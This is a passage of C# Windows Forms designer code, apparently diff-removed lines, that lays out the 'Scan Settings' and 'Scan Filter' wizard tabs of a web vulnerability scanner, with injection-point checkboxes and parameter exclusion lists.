this.One.TabIndex = 2; - this.One.Text = " Scan Settings "; - this.One.UseVisualStyleBackColor = true; - // - // Step1StatusTB - // - this.Step1StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step1StatusTB.BackColor = System.Drawing.Color.White; - this.Step1StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step1StatusTB.ForeColor = System.Drawing.Color.Red; - this.Step1StatusTB.Location = new System.Drawing.Point(124, 292); - this.Step1StatusTB.Multiline = true; - this.Step1StatusTB.Name = "Step1StatusTB"; - this.Step1StatusTB.Size = new System.Drawing.Size(577, 32); - this.Step1StatusTB.TabIndex = 145; - this.Step1StatusTB.TabStop = false; - this.Step1StatusTB.Visible = false; - // - // ScanAllPluginsCB - // - this.ScanAllPluginsCB.AutoSize = true; - this.ScanAllPluginsCB.Checked = true; - this.ScanAllPluginsCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ScanAllPluginsCB.Location = new System.Drawing.Point(269, 127); - this.ScanAllPluginsCB.Name = "ScanAllPluginsCB"; - this.ScanAllPluginsCB.Size = new System.Drawing.Size(111, 17); - this.ScanAllPluginsCB.TabIndex = 144; - this.ScanAllPluginsCB.Text = "Enable all Checks"; - this.ScanAllPluginsCB.UseVisualStyleBackColor = true; - this.ScanAllPluginsCB.Click += new System.EventHandler(this.ScanAllPluginsCB_Click); - // - // StepOnePreviousBtn - // - this.StepOnePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepOnePreviousBtn.Location = new System.Drawing.Point(8, 301); - this.StepOnePreviousBtn.Name = "StepOnePreviousBtn"; - this.StepOnePreviousBtn.Size = new System.Drawing.Size(105, 23); - this.StepOnePreviousBtn.TabIndex = 143; - this.StepOnePreviousBtn.Text = "<-Previous Step"; - this.StepOnePreviousBtn.UseVisualStyleBackColor = true; - this.StepOnePreviousBtn.Click += new System.EventHandler(this.StepOnePreviousBtn_Click); - // - // StepOneNextBtn - // - this.StepOneNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepOneNextBtn.Location = new System.Drawing.Point(713, 302); - this.StepOneNextBtn.Name = "StepOneNextBtn"; - this.StepOneNextBtn.Size = new System.Drawing.Size(105, 23); - this.StepOneNextBtn.TabIndex = 142; - this.StepOneNextBtn.Text = "Next Step ->"; - this.StepOneNextBtn.UseVisualStyleBackColor = true; - this.StepOneNextBtn.Click += new System.EventHandler(this.StepOneNextBtn_Click); - // - // label23 - // - this.label23.AutoSize = true; - this.label23.Location = new System.Drawing.Point(22, 128); - this.label23.Name = "label23"; - this.label23.Size = new System.Drawing.Size(218, 13); - this.label23.TabIndex = 95; - this.label23.Text = "Which vulnerabilities should be scanned for?"; - // - // InjectNamesCB - // - this.InjectNamesCB.AutoSize = true; - this.InjectNamesCB.Location = new System.Drawing.Point(316, 81); - this.InjectNamesCB.Name = "InjectNamesCB"; - this.InjectNamesCB.Size = new System.Drawing.Size(183, 17); - this.InjectNamesCB.TabIndex = 94; - this.InjectNamesCB.Text = "Parameter Names of Query, Body"; - this.InjectNamesCB.UseVisualStyleBackColor = true; - // - // ScanPluginsGrid - // - this.ScanPluginsGrid.AllowUserToAddRows = false; - this.ScanPluginsGrid.AllowUserToDeleteRows = false; - this.ScanPluginsGrid.AllowUserToResizeRows = false; - this.ScanPluginsGrid.BackgroundColor = System.Drawing.Color.White; - this.ScanPluginsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScanPluginsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ScanPluginsGrid.ColumnHeadersVisible = false; - this.ScanPluginsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn1, - this.dataGridViewTextBoxColumn1}); - this.ScanPluginsGrid.GridColor = System.Drawing.Color.White; - this.ScanPluginsGrid.Location = new System.Drawing.Point(407, 128); - this.ScanPluginsGrid.Margin = new System.Windows.Forms.Padding(0); - this.ScanPluginsGrid.Name = "ScanPluginsGrid"; - this.ScanPluginsGrid.ReadOnly = true; - this.ScanPluginsGrid.RowHeadersVisible = false; - this.ScanPluginsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ScanPluginsGrid.Size = new System.Drawing.Size(300, 152); - this.ScanPluginsGrid.TabIndex = 93; - this.ScanPluginsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanPluginsGrid_CellClick); - // - // dataGridViewCheckBoxColumn1 - // - this.dataGridViewCheckBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn1.HeaderText = ""; - this.dataGridViewCheckBoxColumn1.Name = "dataGridViewCheckBoxColumn1"; - this.dataGridViewCheckBoxColumn1.ReadOnly = true; - this.dataGridViewCheckBoxColumn1.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewCheckBoxColumn1.Width = 20; - // - // dataGridViewTextBoxColumn1 - // - this.dataGridViewTextBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn1.HeaderText = "SCAN PLUGINS"; - this.dataGridViewTextBoxColumn1.Name = "dataGridViewTextBoxColumn1"; - this.dataGridViewTextBoxColumn1.ReadOnly = true; - this.dataGridViewTextBoxColumn1.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // label24 - // - this.label24.AutoSize = true; - this.label24.Location = new System.Drawing.Point(22, 26); - this.label24.Name = "label24"; - this.label24.Size = new System.Drawing.Size(252, 13); - this.label24.TabIndex = 24; - this.label24.Text = "Which sections of the Request should be scanned?"; - // - // InjectHeadersCB - // - this.InjectHeadersCB.AutoSize = true; - this.InjectHeadersCB.Location = new System.Drawing.Point(537, 26); - this.InjectHeadersCB.Name = "InjectHeadersCB"; - this.InjectHeadersCB.Size = new System.Drawing.Size(66, 17); - this.InjectHeadersCB.TabIndex = 23; - this.InjectHeadersCB.Text = "Headers"; - this.InjectHeadersCB.UseVisualStyleBackColor = true; - this.InjectHeadersCB.CheckedChanged += new System.EventHandler(this.InjectHeadersCB_CheckedChanged); - // - // InjectCookieCB - // - this.InjectCookieCB.AutoSize = true; - this.InjectCookieCB.Location = new System.Drawing.Point(460, 26); - this.InjectCookieCB.Name = "InjectCookieCB"; - this.InjectCookieCB.Size = new System.Drawing.Size(59, 17); - this.InjectCookieCB.TabIndex = 22; - this.InjectCookieCB.Text = "Cookie"; - this.InjectCookieCB.UseVisualStyleBackColor = true; - this.InjectCookieCB.CheckedChanged += new System.EventHandler(this.InjectCookieCB_CheckedChanged); - // - // InjectBodyCB - // - this.InjectBodyCB.AutoSize = true; - this.InjectBodyCB.Checked = true; - this.InjectBodyCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.InjectBodyCB.Location = new System.Drawing.Point(393, 25); - this.InjectBodyCB.Name = "InjectBodyCB"; - this.InjectBodyCB.Size = new System.Drawing.Size(50, 17); - this.InjectBodyCB.TabIndex = 21; - this.InjectBodyCB.Text = "Body"; - this.InjectBodyCB.UseVisualStyleBackColor = true; - this.InjectBodyCB.CheckedChanged += new System.EventHandler(this.InjectBodyCB_CheckedChanged); - // - // InjectQueryCB - // - this.InjectQueryCB.AutoSize = true; - this.InjectQueryCB.Checked = true; - this.InjectQueryCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.InjectQueryCB.Location = new System.Drawing.Point(316, 25); - this.InjectQueryCB.Name = "InjectQueryCB"; - this.InjectQueryCB.Size = new System.Drawing.Size(54, 17); - this.InjectQueryCB.TabIndex = 20; - this.InjectQueryCB.Text = "Query"; - this.InjectQueryCB.UseVisualStyleBackColor = true; - this.InjectQueryCB.CheckedChanged += new System.EventHandler(this.InjectQueryCB_CheckedChanged); - // - // InjectUrlPathPartsCB - // - this.InjectUrlPathPartsCB.AutoSize = true; - this.InjectUrlPathPartsCB.Checked = true; - this.InjectUrlPathPartsCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.InjectUrlPathPartsCB.Location = new System.Drawing.Point(316, 53); - this.InjectUrlPathPartsCB.Name = "InjectUrlPathPartsCB"; - this.InjectUrlPathPartsCB.Size = new System.Drawing.Size(349, 17); - this.InjectUrlPathPartsCB.TabIndex = 19; - this.InjectUrlPathPartsCB.Text = "Url Path Parts (only when Query string is blank, to cover Url-rewriting)"; - this.InjectUrlPathPartsCB.UseVisualStyleBackColor = true; - // - // Two - // - this.Two.Controls.Add(this.Step2StatusTB); - this.Two.Controls.Add(this.label25); - this.Two.Controls.Add(this.label26); - this.Two.Controls.Add(this.StepTwoPreviousBtn); - this.Two.Controls.Add(this.StepTwoNextBtn); - this.Two.Controls.Add(this.groupBox6); - this.Two.Controls.Add(this.groupBox7); - this.Two.Controls.Add(this.groupBox8); - this.Two.Controls.Add(this.groupBox9); - this.Two.Location = new System.Drawing.Point(4, 25); - this.Two.Name = "Two"; - this.Two.Size = new System.Drawing.Size(826, 332); - this.Two.TabIndex = 5; - this.Two.Text = " Scan Filter "; - this.Two.UseVisualStyleBackColor = true; - // - // Step2StatusTB - // - this.Step2StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step2StatusTB.BackColor = System.Drawing.Color.White; - this.Step2StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step2StatusTB.ForeColor = System.Drawing.Color.Red; - this.Step2StatusTB.Location = new System.Drawing.Point(131, 302); - this.Step2StatusTB.Multiline = true; - this.Step2StatusTB.Name = "Step2StatusTB"; - this.Step2StatusTB.Size = new System.Drawing.Size(577, 23); - this.Step2StatusTB.TabIndex = 148; - this.Step2StatusTB.TabStop = false; - this.Step2StatusTB.Visible = false; - // - // label25 - // - this.label25.AutoSize = true; - this.label25.Location = new System.Drawing.Point(7, 30); - this.label25.Name = "label25"; - this.label25.Size = new System.Drawing.Size(561, 13); - this.label25.TabIndex = 147; - this.label25.Text = "Check the box at the beginning to enable the list. Use + and - options to toggle " + - "between white-list and black-list mode."; - // - // label26 - // - this.label26.AutoSize = true; - this.label26.Location = new System.Drawing.Point(7, 10); - this.label26.Name = "label26"; - this.label26.Size = new System.Drawing.Size(436, 13); - this.label26.TabIndex = 146; - this.label26.Text = "You can set a black-list or white-list to include or exclude request parameters f" + - "rom the scan."; - // - // StepTwoPreviousBtn - // - this.StepTwoPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepTwoPreviousBtn.Location = new System.Drawing.Point(8, 302); - this.StepTwoPreviousBtn.Name = "StepTwoPreviousBtn"; - this.StepTwoPreviousBtn.Size = new System.Drawing.Size(105, 23); - this.StepTwoPreviousBtn.TabIndex = 145; - this.StepTwoPreviousBtn.Text = "<-Previous Step"; - this.StepTwoPreviousBtn.UseVisualStyleBackColor = true; - this.StepTwoPreviousBtn.Click += new System.EventHandler(this.StepTwoPreviousBtn_Click); - // - // StepTwoNextBtn - // - this.StepTwoNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepTwoNextBtn.Location = new System.Drawing.Point(714, 302); - this.StepTwoNextBtn.Name = "StepTwoNextBtn"; - this.StepTwoNextBtn.Size = new System.Drawing.Size(105, 23); - this.StepTwoNextBtn.TabIndex = 144; - this.StepTwoNextBtn.Text = "Next Step ->"; - this.StepTwoNextBtn.UseVisualStyleBackColor = true; - this.StepTwoNextBtn.Click += new System.EventHandler(this.StepTwoNextBtn_Click); - // - // groupBox6 - // - this.groupBox6.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.groupBox6.Controls.Add(this.HeadersParametersFilterCB); - this.groupBox6.Controls.Add(this.HeadersParametersPlusTB); - this.groupBox6.Controls.Add(this.HeadersParametersMinusTB); - this.groupBox6.Controls.Add(this.HeadersParametersPlusRB); - this.groupBox6.Controls.Add(this.HeadersParametersMinusRB); - this.groupBox6.FlatStyle = System.Windows.Forms.FlatStyle.Popup; - this.groupBox6.Location = new System.Drawing.Point(10, 240); - this.groupBox6.Margin = new System.Windows.Forms.Padding(0); - this.groupBox6.Name = "groupBox6"; - this.groupBox6.Size = new System.Drawing.Size(800, 52); - this.groupBox6.TabIndex = 95; - this.groupBox6.TabStop = false; - // - // HeadersParametersFilterCB - // - this.HeadersParametersFilterCB.AutoSize = true; - this.HeadersParametersFilterCB.Enabled = false; - this.HeadersParametersFilterCB.Location = new System.Drawing.Point(8, 20); - this.HeadersParametersFilterCB.Name = "HeadersParametersFilterCB"; - this.HeadersParametersFilterCB.Size = new System.Drawing.Size(203, 17); - this.HeadersParametersFilterCB.TabIndex = 59; - this.HeadersParametersFilterCB.Text = "Don\'t scan these Header Parameters:"; - this.HeadersParametersFilterCB.UseVisualStyleBackColor = true; - this.HeadersParametersFilterCB.CheckedChanged += new System.EventHandler(this.HeadersParametersFilterCB_CheckedChanged); - // - // HeadersParametersPlusTB - // - this.HeadersParametersPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.HeadersParametersPlusTB.Enabled = false; - this.HeadersParametersPlusTB.Location = new System.Drawing.Point(255, 8); - this.HeadersParametersPlusTB.Name = "HeadersParametersPlusTB"; - this.HeadersParametersPlusTB.Size = new System.Drawing.Size(539, 20); - this.HeadersParametersPlusTB.TabIndex = 51; - // - // HeadersParametersMinusTB - // - this.HeadersParametersMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.HeadersParametersMinusTB.Enabled = false; - this.HeadersParametersMinusTB.Location = new System.Drawing.Point(255, 29); - this.HeadersParametersMinusTB.Name = "HeadersParametersMinusTB"; - this.HeadersParametersMinusTB.Size = new System.Drawing.Size(539, 20); - this.HeadersParametersMinusTB.TabIndex = 52; - this.HeadersParametersMinusTB.Text = "Proxy-Connection, User-Agent, Accept, Referer, Accept-Encoding, Accept-Language, " + - "Accept-Charset, Content-Type, Content-Length, If-Modified-Since, Pragma"; - // - // HeadersParametersPlusRB - // - this.HeadersParametersPlusRB.AutoSize = true; - this.HeadersParametersPlusRB.Enabled = false; - this.HeadersParametersPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.HeadersParametersPlusRB.Location = new System.Drawing.Point(215, 10); - this.HeadersParametersPlusRB.Name = "HeadersParametersPlusRB"; - this.HeadersParametersPlusRB.Size = new System.Drawing.Size(34, 20); - this.HeadersParametersPlusRB.TabIndex = 57; - this.HeadersParametersPlusRB.Text = "+"; - this.HeadersParametersPlusRB.UseVisualStyleBackColor = true; - this.HeadersParametersPlusRB.CheckedChanged += new System.EventHandler(this.HeadersParametersPlusRB_CheckedChanged); - // - // HeadersParametersMinusRB - // - this.HeadersParametersMinusRB.AutoSize = true; - this.HeadersParametersMinusRB.Checked = true; - this.HeadersParametersMinusRB.Enabled = false; - this.HeadersParametersMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.HeadersParametersMinusRB.Location = new System.Drawing.Point(215, 29); - this.HeadersParametersMinusRB.Name = "HeadersParametersMinusRB"; - this.HeadersParametersMinusRB.Size = new System.Drawing.Size(31, 20); - this.HeadersParametersMinusRB.TabIndex = 58; - this.HeadersParametersMinusRB.TabStop = true; - this.HeadersParametersMinusRB.Text = "-"; - this.HeadersParametersMinusRB.UseVisualStyleBackColor = true; - this.HeadersParametersMinusRB.CheckedChanged += new System.EventHandler(this.HeadersParametersMinusRB_CheckedChanged); - // - // groupBox7 - // - this.groupBox7.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.groupBox7.Controls.Add(this.QueryParametersFilterCB); - this.groupBox7.Controls.Add(this.QueryParametersPlusTB); - this.groupBox7.Controls.Add(this.QueryParametersMinusTB); - this.groupBox7.Controls.Add(this.QueryParametersPlusRB); - this.groupBox7.Controls.Add(this.QueryParametersMinusRB); - this.groupBox7.FlatStyle = System.Windows.Forms.FlatStyle.Popup; - this.groupBox7.Location = new System.Drawing.Point(10, 64); - this.groupBox7.Margin = new System.Windows.Forms.Padding(0); - this.groupBox7.Name = "groupBox7"; - this.groupBox7.Size = new System.Drawing.Size(800, 52); - this.groupBox7.TabIndex = 92; - this.groupBox7.TabStop = false; - // - // QueryParametersFilterCB - // - this.QueryParametersFilterCB.AutoSize = true; - this.QueryParametersFilterCB.Enabled = false; - this.QueryParametersFilterCB.Location = new System.Drawing.Point(8, 20); - this.QueryParametersFilterCB.Name = "QueryParametersFilterCB"; - this.QueryParametersFilterCB.Size = new System.Drawing.Size(196, 17); - this.QueryParametersFilterCB.TabIndex = 59; - this.QueryParametersFilterCB.Text = "Don\'t scan these Query Parameters:"; - this.QueryParametersFilterCB.UseVisualStyleBackColor = true; - this.QueryParametersFilterCB.CheckedChanged += new System.EventHandler(this.QueryParametersFilterCB_CheckedChanged); - // - // QueryParametersPlusTB - // - this.QueryParametersPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.QueryParametersPlusTB.Enabled = false; - this.QueryParametersPlusTB.Location = new System.Drawing.Point(255, 8); - this.QueryParametersPlusTB.Name = "QueryParametersPlusTB"; - this.QueryParametersPlusTB.Size = new System.Drawing.Size(539, 20); - this.QueryParametersPlusTB.TabIndex = 51; - // - // QueryParametersMinusTB - // - this.QueryParametersMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.QueryParametersMinusTB.Enabled = false; - this.QueryParametersMinusTB.Location = new System.Drawing.Point(255, 29); - this.QueryParametersMinusTB.Name = "QueryParametersMinusTB"; - this.QueryParametersMinusTB.Size = new System.Drawing.Size(539, 20); - this.QueryParametersMinusTB.TabIndex = 52; - // - // QueryParametersPlusRB - // - this.QueryParametersPlusRB.AutoSize = true; - this.QueryParametersPlusRB.Enabled = false; - this.QueryParametersPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.QueryParametersPlusRB.Location = new System.Drawing.Point(215, 9); - this.QueryParametersPlusRB.Name = "QueryParametersPlusRB"; - this.QueryParametersPlusRB.Size = new System.Drawing.Size(34, 20); - this.QueryParametersPlusRB.TabIndex = 57; - this.QueryParametersPlusRB.Text = "+"; - this.QueryParametersPlusRB.UseVisualStyleBackColor = true; - this.QueryParametersPlusRB.CheckedChanged += new System.EventHandler(this.QueryParametersPlusRB_CheckedChanged); - // - // QueryParametersMinusRB - // - this.QueryParametersMinusRB.AutoSize = true; - this.QueryParametersMinusRB.Checked = true; - this.QueryParametersMinusRB.Enabled = false; - this.QueryParametersMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.QueryParametersMinusRB.Location = new System.Drawing.Point(215, 28); - this.QueryParametersMinusRB.Name = "QueryParametersMinusRB"; - this.QueryParametersMinusRB.Size = new System.Drawing.Size(31, 20); - this.QueryParametersMinusRB.TabIndex = 58; - this.QueryParametersMinusRB.TabStop = true; - this.QueryParametersMinusRB.Text = "-"; - this.QueryParametersMinusRB.UseVisualStyleBackColor = true; - this.QueryParametersMinusRB.CheckedChanged += new System.EventHandler(this.QueryParametersMinusRB_CheckedChanged); - // - // groupBox8 - // - this.groupBox8.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.groupBox8.Controls.Add(this.BodyParametersFilterCB); - this.groupBox8.Controls.Add(this.BodyParametersPlusTB); - this.groupBox8.Controls.Add(this.BodyParametersMinusTB); - this.groupBox8.Controls.Add(this.BodyParametersPlusRB); - this.groupBox8.Controls.Add(this.BodyParametersMinusRB); - this.groupBox8.FlatStyle = System.Windows.Forms.FlatStyle.Popup; - this.groupBox8.Location = new System.Drawing.Point(10, 125); - this.groupBox8.Margin = new System.Windows.Forms.Padding(0); - this.groupBox8.Name = "groupBox8"; - this.groupBox8.Size = new System.Drawing.Size(800, 52); - this.groupBox8.TabIndex = 93; - this.groupBox8.TabStop = false; - // - // BodyParametersFilterCB - // - this.BodyParametersFilterCB.AutoSize = true; - this.BodyParametersFilterCB.Enabled = false; - this.BodyParametersFilterCB.Location = new System.Drawing.Point(8, 20); - this.BodyParametersFilterCB.Name = "BodyParametersFilterCB"; - this.BodyParametersFilterCB.Size = new System.Drawing.Size(192, 17); - this.BodyParametersFilterCB.TabIndex = 59; - this.BodyParametersFilterCB.Text = "Don\'t scan these Body Parameters:"; - this.BodyParametersFilterCB.UseVisualStyleBackColor = true; - this.BodyParametersFilterCB.CheckedChanged += new System.EventHandler(this.BodyParametersFilterCB_CheckedChanged); - // - // BodyParametersPlusTB - // - this.BodyParametersPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.BodyParametersPlusTB.Enabled = false; - this.BodyParametersPlusTB.Location = new System.Drawing.Point(255, 8); - this.BodyParametersPlusTB.Name = "BodyParametersPlusTB"; - this.BodyParametersPlusTB.Size = new System.Drawing.Size(539, 20); - this.BodyParametersPlusTB.TabIndex = 51; - // - // BodyParametersMinusTB - // - this.BodyParametersMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.BodyParametersMinusTB.Enabled = false; - this.BodyParametersMinusTB.Location = new System.Drawing.Point(255, 29); - this.BodyParametersMinusTB.Name = "BodyParametersMinusTB"; - this.BodyParametersMinusTB.Size = new System.Drawing.Size(539, 20); - this.BodyParametersMinusTB.TabIndex = 52; - this.BodyParametersMinusTB.Text = "__VIEWSTATE, javax.faces.ViewState"; - // - // BodyParametersPlusRB - // - this.BodyParametersPlusRB.AutoSize = true; - this.BodyParametersPlusRB.Enabled = false; - this.BodyParametersPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.BodyParametersPlusRB.Location = new System.Drawing.Point(215, 8); - this.BodyParametersPlusRB.Name = "BodyParametersPlusRB"; - this.BodyParametersPlusRB.Size = new System.Drawing.Size(34, 20); - this.BodyParametersPlusRB.TabIndex = 57; - this.BodyParametersPlusRB.Text = "+"; - this.BodyParametersPlusRB.UseVisualStyleBackColor = true; - this.BodyParametersPlusRB.CheckedChanged += new System.EventHandler(this.BodyParametersPlusRB_CheckedChanged); - // - // BodyParametersMinusRB - // - this.BodyParametersMinusRB.AutoSize = true; - this.BodyParametersMinusRB.Checked = true; - this.BodyParametersMinusRB.Enabled = false; - this.BodyParametersMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.BodyParametersMinusRB.Location = new System.Drawing.Point(215, 27); - this.BodyParametersMinusRB.Name = "BodyParametersMinusRB"; - this.BodyParametersMinusRB.Size = new System.Drawing.Size(31, 20); - this.BodyParametersMinusRB.TabIndex = 58; - this.BodyParametersMinusRB.TabStop = true; - this.BodyParametersMinusRB.Text = "-"; - this.BodyParametersMinusRB.UseVisualStyleBackColor = true; - this.BodyParametersMinusRB.CheckedChanged += new System.EventHandler(this.BodyParametersMinusRB_CheckedChanged); - // - // groupBox9 - // - this.groupBox9.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.groupBox9.Controls.Add(this.CookieParametersFilterCB); - this.groupBox9.Controls.Add(this.CookieParametersPlusTB); - this.groupBox9.Controls.Add(this.CookieParametersMinusTB); - this.groupBox9.Controls.Add(this.CookieParametersPlusRB); - this.groupBox9.Controls.Add(this.CookieParametersMinusRB); - this.groupBox9.FlatStyle = System.Windows.Forms.FlatStyle.Popup; - this.groupBox9.Location = new System.Drawing.Point(10, 184); - this.groupBox9.Margin = new System.Windows.Forms.Padding(0); - this.groupBox9.Name = "groupBox9"; - this.groupBox9.Size = new System.Drawing.Size(800, 52); - this.groupBox9.TabIndex = 94; - this.groupBox9.TabStop = false; - // - // CookieParametersFilterCB - // - this.CookieParametersFilterCB.AutoSize = true; - this.CookieParametersFilterCB.Enabled = false; - this.CookieParametersFilterCB.Location = new System.Drawing.Point(8, 20); - this.CookieParametersFilterCB.Name = "CookieParametersFilterCB"; - this.CookieParametersFilterCB.Size = new System.Drawing.Size(201, 17); - this.CookieParametersFilterCB.TabIndex = 59; - this.CookieParametersFilterCB.Text = "Don\'t scan these Cookie Parameters:"; - this.CookieParametersFilterCB.UseVisualStyleBackColor = true; - this.CookieParametersFilterCB.CheckedChanged += new System.EventHandler(this.CookieParametersFilterCB_CheckedChanged); - // - // CookieParametersPlusTB - // - this.CookieParametersPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.CookieParametersPlusTB.Enabled = false; - this.CookieParametersPlusTB.Location = new System.Drawing.Point(255, 8); - this.CookieParametersPlusTB.Name = "CookieParametersPlusTB"; - this.CookieParametersPlusTB.Size = new System.Drawing.Size(542, 20); - this.CookieParametersPlusTB.TabIndex = 51; - // - // CookieParametersMinusTB - // - this.CookieParametersMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.CookieParametersMinusTB.Enabled = false; - this.CookieParametersMinusTB.Location = new System.Drawing.Point(255, 29); - this.CookieParametersMinusTB.Name = "CookieParametersMinusTB"; - this.CookieParametersMinusTB.Size = new System.Drawing.Size(542, 20); - this.CookieParametersMinusTB.TabIndex = 52; - this.CookieParametersMinusTB.Text = "JSESSIONID, PHPSESSID, ASPSESSIONID, ASP.NET_SessionId"; - // - // CookieParametersPlusRB - // - this.CookieParametersPlusRB.AutoSize = true; - this.CookieParametersPlusRB.Enabled = false; - this.CookieParametersPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.CookieParametersPlusRB.Location = new System.Drawing.Point(215, 8); - this.CookieParametersPlusRB.Name = "CookieParametersPlusRB"; - this.CookieParametersPlusRB.Size = new System.Drawing.Size(34, 20); - this.CookieParametersPlusRB.TabIndex = 57; - this.CookieParametersPlusRB.Text = "+"; - this.CookieParametersPlusRB.UseVisualStyleBackColor = true; - this.CookieParametersPlusRB.CheckedChanged += new System.EventHandler(this.CookieParametersPlusRB_CheckedChanged); - // - // CookieParametersMinusRB - // - this.CookieParametersMinusRB.AutoSize = true; - this.CookieParametersMinusRB.Checked = true; - this.CookieParametersMinusRB.Enabled = false; - this.CookieParametersMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.CookieParametersMinusRB.Location = new System.Drawing.Point(215, 27); - this.CookieParametersMinusRB.Name = "CookieParametersMinusRB"; - this.CookieParametersMinusRB.Size = new System.Drawing.Size(31, 20); - this.CookieParametersMinusRB.TabIndex = 58; - this.CookieParametersMinusRB.TabStop = true; - this.CookieParametersMinusRB.Text = "-"; - this.CookieParametersMinusRB.UseVisualStyleBackColor = true; - this.CookieParametersMinusRB.CheckedChanged += new System.EventHandler(this.CookieParametersMinusRB_CheckedChanged); - // - // Three - // - this.Three.Controls.Add(this.ScanBranchSessionPluginsCombo); - this.Three.Controls.Add(this.ScanThreadLimitCB); - this.Three.Controls.Add(this.textBox4); - this.Three.Controls.Add(this.FormatGrid); - this.Three.Controls.Add(this.LaunchSessionPluginCreationAssistantLL); - this.Three.Controls.Add(this.Step3StatusTB); - 